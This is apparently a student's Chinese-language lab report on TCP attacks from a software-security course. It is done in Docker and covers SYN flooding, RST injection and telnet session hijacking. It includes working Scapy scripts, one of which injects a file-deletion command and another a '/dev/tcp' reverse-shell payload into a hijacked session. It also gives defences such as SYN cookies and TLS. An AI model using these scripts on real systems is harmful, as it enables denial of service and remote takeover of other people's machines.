software-security-lab5

《软件安全》课程实验5,tcp相关实验,主要是协议缺陷导致的劫持session,dos攻击

TCP lab

task1

首先看一下系统的队列长度。一般而言,系统的内存越大,队列越大。这里的队列是指TCP连接的等待队列。

image-20220510191543262

除此以外,可以用以上netstat命令查看队列的用处。

一般而言,syn cookie的保护在ubuntu中是默认开启的。SYN_COOKIE使得服务器在收到每个连接时,检查一下是否和之前的连接信息匹配。具体而言,如下所示。

image-20220524133430797

SYN cookie

使用一个公式生成SNs。从而在第三步检验是否是伪造的SNS

T: 时间窗口,例如:每64秒加一,因此服务器的T和下一次发来的最多就差1。

mss: MTU-tcp头-ip头。为了防止被拆分?

L: 一个签名(mac值)

由于端口、IP地址等,都是不会被存放的,直接把包中的提取出来即可。因此不需要资源保存。最关键的就是Mac的key。保证了验证安全性

launch attack

在docker里面运行这个python脚本。这里的IP写的是受害者IP,端口号写的是23,也就是telnet端口号。

image-20220510193001078

但是后来发现,我们还是可以成功连接。

image-20220510193313724

在docker里面查看连接队列状况,如下所示。可以看到出现了很多SYN_RECV等待的状态,这说明有很多连接确实是属于半开放状态,证实了我们的tcp连接攻击起到了一定的效果,但并没有成功的拒绝服务。

image-20220510193241984

在pdf中,作者给出了一些可能的原因。

  1. tcp cache: tcp会为已经连接过这个主机的一些IP做一个cache。容量大概在整个queue的1/4左右。因此在我们已经连结果victim的情况下,可能victim的docker记住过我们的IP,为我们下一次telnet登录预留了空间。(我之前确实登陆过)

  2. tcp 重传机制。在等待ACK包的时候,如果超过了一定时间,TCP就会重传SYN+ACK的包。可以利用sysctl net.ipv4.tcp_synack_retries查看需要重传几次包。例如我电脑上的victim中,数值为5.

    image-20220510194156685

​ 这说明当我们重传SYN+ACK的包五次之后,如果还没有收到回应,系统就会删除这个连接。再加上python脚本速度不够。在本次尝试中,我是用的是单线程python脚本进行tcp flooding。因此可以尝试多线程或者多开几个实例。下面是改进的攻击。

改进攻击

首先,刷新victm为我们保留的登陆记录。

image-20220510195209338

接着,调整我们的脚本为多线程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from scapy.all import IP,TCP,send
from ipaddress import IPv4Address
from random import getrandbits
import threading

ip = IP(dst="10.9.0.5")
tcp = TCP(dport=23,flags='S') # the port of telnet
pkt=ip/tcp

def attack():
while True:
pkt[IP].src = str(IPv4Address(getrandbits(32)))
pkt[TCP].sport = getrandbits(16)
pkt[TCP].seq = getrandbits(32)
send(pkt,verbose = 0)


if __name__ == "__main__":
for i in range(0,4):
t = threading.Thread(target = attack)
t.start()

最后,修改我们queue的大小,使之小于我们使用命令能够看到的最大连接量。在这里,我调整为80。这里不知道为什么,别的同学不用修改队列大小就能成功,但是我不修改队列大小始终无法成功。从下面可以看出等待连接的队列一直停留在128的位置,和最大容量256相差很大。即使使用多线程也没有解决这个问题。因此最后必须要修改队列长度。

1
sysctl -w net.ipv4.tcp_max_syn_backlog=80

之后便可以发现攻击成功,我们无法用telnet连接上服务器,一直在显示trying,最终timeout了。

image-20220510205127980

回到我们victim的docker里面,发现连接队列几乎被占满。

image-20220510200517448

查看一下连接队列的属性,发现全都被随机的IP和端口号填充满了。

image-20220510200612615

所以当我们刷新了连接buffer,修改python为多线程,调整系统的tcp连接队列大小之后,我们确实无法链接到此IP。

经过测试,当能够接受的连接最大数量为128时,需要python 11个以上的线程同时运行才能完成一次攻击。因此,在下面的例子中我们使用c语言编写的程序,速度会大大加快。

task 1.2

第二个task,我们用C实现的tcp flooding脚本尝试完成此攻击。我们首先把queue恢复到原来的大小

image-20220510200852973

接着使用以下命令编译并执行此文件。

1
2
gcc -o synflood synflood.c
./synflood 10.9.0.5 23

未开多线程时,python脚本执行效果如下所示。可以看到队列中时常会出现小于128的滞留序列。

image-20220510201734224

使用C生成的可执行文件结果如下所示。可以看到,几乎没有出现过小于128的数值。

image-20220510202222470

这是因为c作为一种编译性语言,和解释型语言(python)相比,速度会有明显的上升。

这里我们重新把队列大小调整回去,并且设置syncookies为1。

1
sysctl -w net.ipv4.tcp_syncookies=1

image-20220510202455670

接着将队列长度同样的设置小

1
sysctl -w net.ipv4.tcp_max_syn_backlog=80

发现我们攻击基本上都失败了

image-20220510203209647

成功原因: tcp cookie采用的方案是当连接超过一定数目时,不保存tcp连接的中间结果,也就是说不为syn开辟内存。并且是用一种hash技术,发送SYN ACK中将包含远IP和端口的mac。这样也能够防止攻击者伪造ACK包。

task2 TCP RST Attacks

使用wireshark抓包

使用如下命令截获两台主机之间发送的数据包。

1
sudo tcpdump -i br-16cafce4b285 -w ./pkt2.pcap -v 'tmp and src 10.9.0.6 and dst host 10.9.0.7'

可以抓取数据包并保存在本地。接着使用wireshark打开

1
wireshark ./pkt2.pcap

可以看到下面的内容。我们观察到下图,发现telnet实际上next seq始终是本次seq+1.因此

image-20220511092929276

首先我们需要把网卡的混杂模式打开

1
sudo ip link set br-9b3a554cecec promisc on

注意这里网卡的名称,需要用ifconfig看到。如下图。看到第一个网卡所在的就是两个user的子网,因此我们就把这个网卡设置为混杂模式。

image-20220510223755263

使用以下命令可以完成包劫持的工作

image-20220510223649384

接下来就可以编写简单的脚本,并过滤出攻击的目标端口、源端口、目标IP,源IP即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from scapy.all import *
import time
def exec_attack(src_ip,dst_ip,src_port,dst_port,next_seq):
'''
execute attack
'''
# time.sleep(2)
ip = IP(src=str(src_ip),dst=str(dst_ip))
tcp = TCP(sport = int(src_port), dport = int(dst_port),flags="R",seq = next_seq) # reset packge
pkt = ip/tcp
ls(pkt)
send(pkt,verbose=0,iface="br-16cafce4b285")



def print_package(x):
print("received arguments: ")
print("src ip: " + str(x[IP].src))
print("dst ip: " + str(x[IP].dst))
print("src port: " + str(x[IP].sport))
print("dst port: " + str(x[IP].dport))
print("tcp seq: " + str(x[TCP].seq))
# proceed these values and send it to exec_attack
exec_attack(x[IP].src,x[IP].dst,x[IP].sport,x[IP].dport,x[TCP].seq+1)

def my_sniff():
sniff(filter="dst 10.9.0.6 and tcp",iface="br-16cafce4b285",prn=lambda x:print_package(x))

if __name__ == "__main__":
my_sniff()

从下面的截图中可以看到,当用户尝试输入用户名时,连接就被中断。(注意,我这里并没有输入ctrl+c, 如果输入会在用户名界面上直接显示出来)原理是当我们输入用户名时,本质上还是往服务器发送了一个报文,这个报文在经过scapy的时候被截获,scapy进而立刻发送一个带有RST字段的包给目的主机,从而使目的主机认为连接需要关闭,因此结束了本次连接。

image-20220511093716786

task3 TCP Session Hijacking

上面一个例子中,我们通过受害者发送包的同时发送一个RST包,从而使连接中断,下面的实验中我们还能做到任意代码执行。

这里由于我们还需要一个tcp的ack号码,因此也需要截获包中的tcp编号。使用脚本可以很方便的达到这一点。

和上一个脚本的不同之处在于,这次我们在data部分写上了我们要执行的命令,然后在伪造的tcp部分写上了ack编号,这个ack编号我这里是直接用的截获的发出去的包的ack,可能是scapy接获之后发送的包将会先到达目标服务器的缘故,这样做是可以成功的。

我使用的命令如下所示

1
\rrm -f /home/seed/secret.txt\r

开头和结尾的两个\r分别用来清除之前可能发送到目标主机的垃圾数据,以及我们输入命令结束时的回车符。在这里我尝试通过删除目标主机的一个用户权限下的文件来证明达成了攻击效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from scapy.all import *
import time
def exec_attack(src_ip,dst_ip,src_port,dst_port,next_seq,ack_num):
'''
execute attack
'''
# time.sleep(2)
ip = IP(src=str(src_ip),dst=str(dst_ip))
tcp = TCP(sport = int(src_port), dport = int(dst_port),flags="A",seq = next_seq,ack = ack_num) # reset packge
data = "\rrm -f /home/seed/secret.txt\r"
pkt = ip/tcp/data
ls(pkt)
send(pkt,verbose=0,iface="br-16cafce4b285")



def print_package(x):
print("received arguments: ")
print("src ip: " + str(x[IP].src))
print("dst ip: " + str(x[IP].dst))
print("src port: " + str(x[IP].sport))
print("dst port: " + str(x[IP].dport))
print("tcp seq: " + str(x[TCP].seq))
print("tcp ack: " + str(x[TCP].ack))
# proceed these values and send it to exec_attack
exec_attack(x[IP].src,x[IP].dst,x[IP].sport,x[IP].dport,x[TCP].seq+1,x[TCP].ack)

def my_sniff():
sniff(filter="dst 10.9.0.6 and tcp",iface="br-16cafce4b285",prn=lambda x:print_package(x))

if __name__ == "__main__":
my_sniff()

成功截图如下所示。从左上角的终端可以看到,可以看到服务器的一个秘密文件已经被删除。右半边的终端中,显示了我们构造包的命令,是rm -f /home/seed/secret.txt

image-20220511132408750

注意,这里发现一旦攻击者发送删除文件命令之后,用户就无法再向服务器终端输入内容了,这是因为由于我们攻击时,发送了一个随机的序列号,服务器收到时,就会认为原先没有收到的这部分序列号出现了丢包,因此会要求用户重发。但是用户显然没有发送过这个数据包,因此会认为这个包无效但是服务器还会一直重发,这就导致了用户终端卡死了。

task4 Creating Reverse Shell

由于在3中,我们相当于能够执行任意命令一次,那么我们也可以执行一个让服务器生成反向shell的命令,那么我们就可以执行多次命令了。

我们只需要把命令改成以下内容即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from scapy.all import *
import time
def exec_attack(src_ip,dst_ip,src_port,dst_port,next_seq,ack_num):
'''
execute attack
'''
# time.sleep(2)
ip = IP(src=str(src_ip),dst=str(dst_ip))
tcp = TCP(sport = int(src_port), dport = int(dst_port),flags="A",seq = next_seq,ack = ack_num) # reset packge
data = "\r /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 \r"
pkt = ip/tcp/data
ls(pkt)
send(pkt,verbose=0,iface="br-16cafce4b285")



def print_package(x):
print("received arguments: ")
print("src ip: " + str(x[IP].src))
print("dst ip: " + str(x[IP].dst))
print("src port: " + str(x[IP].sport))
print("dst port: " + str(x[IP].dport))
print("tcp seq: " + str(x[TCP].seq))
print("tcp ack: " + str(x[TCP].ack))
# proceed these values and send it to exec_attack
exec_attack(x[IP].src,x[IP].dst,x[IP].sport,x[IP].dport,x[TCP].seq+1,x[TCP].ack)

def my_sniff():
sniff(filter="dst 10.9.0.6 and tcp",iface="br-16cafce4b285",count=1,prn=lambda x:print_package(x))

if __name__ == "__main__":
my_sniff()

其实最重要的修改就是data部分的命令,换成了打开远程反向shell的命令。其他的和劫持会话内容没有区别。

image-20220512162650847

在受害主机10.9.0.6中执行命令查看当前存在的连接,发现确实存在着到10.9.0.1的TCP连接,说明我们成功建立了反向shell。关于反向shell命令的含义,大致而言是把输入流和输出流都重定向到远程的主机上的某个端口,并且执行一个/bin/bash来方便交互。

image-20220511135528505

至此,完成了这次实验。

抵抗方法

对于synflood: 使用tcp cookie可以很好的解决。

对于session劫持,采用Tls加密通信也可解决。

除此以外,随机化端口号,随机化序列号也可以解决一部分的问题。

总结

通过本次实验,了解了TCP协议具体内容,以及相关安全机制漏洞。分别使用Dos,劫持session,伪造发送RST包三种攻击方式完成了本次实验。并学习了相关安全保护机制。

文章目录
  1. 1. TCP lab
    1. 1.1. task1
      1. 1.1.1. syn cookie
      2. 1.1.2. launch attack
      3. 1.1.3. 改进攻击
    2. 1.2. task 1.2
    3. 1.3. Enable cookie
    4. 1.4. task2 TCP RST Attacks
      1. 1.4.1. 使用wireshark抓包
    5. 1.5. task3 TCP Session Hijacking
    6. 1.6. task4 Creating Reverse Shell
  2. 2. 抵抗方法
  3. 3. 总结
|